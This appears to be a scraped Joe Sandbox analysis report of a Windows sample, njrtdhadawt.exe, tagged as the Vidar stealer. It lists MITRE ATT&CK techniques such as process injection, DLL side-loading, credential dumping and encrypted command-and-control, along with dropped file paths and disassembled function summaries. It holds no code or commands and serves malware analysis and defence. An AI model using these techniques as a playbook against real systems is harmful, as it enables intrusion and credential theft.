Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report njrtdhadawt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\chrome.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\76561199794498376[1].htm

C:\Users\user\AppData\Local\Temp\delays.tmp

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Windows Analysis Report
njrtdhadawt.exe

Function 00FEE883 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Function 00FF80C5 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Function 00FE6955 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161
networkfileCOMMON

Function 00FF83D2 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Function 00FEE33A Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Function 00FE5F2B Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Function 00FF3D63 Relevance: 49.7, APIs: 2, Strings: 26, Instructions: 674
stringCOMMON

Function 00FF6B93 Relevance: 37.0, APIs: 8, Strings: 13, Instructions: 249
sleepCOMMON

Function 00FE1656 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129
memoryfileCOMMON

Function 00FE4B20 Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378
networkstringfileCOMMON

Function 00FF1A2A Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143
memorycomtimeCOMMON

Function 00FE5229 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 161
networkmemoryfileCOMMON

Function 00FF1BBA Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114
comCOMMON

Function 00FE1274 Relevance: 24.1, APIs: 16, Instructions: 120
stringCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre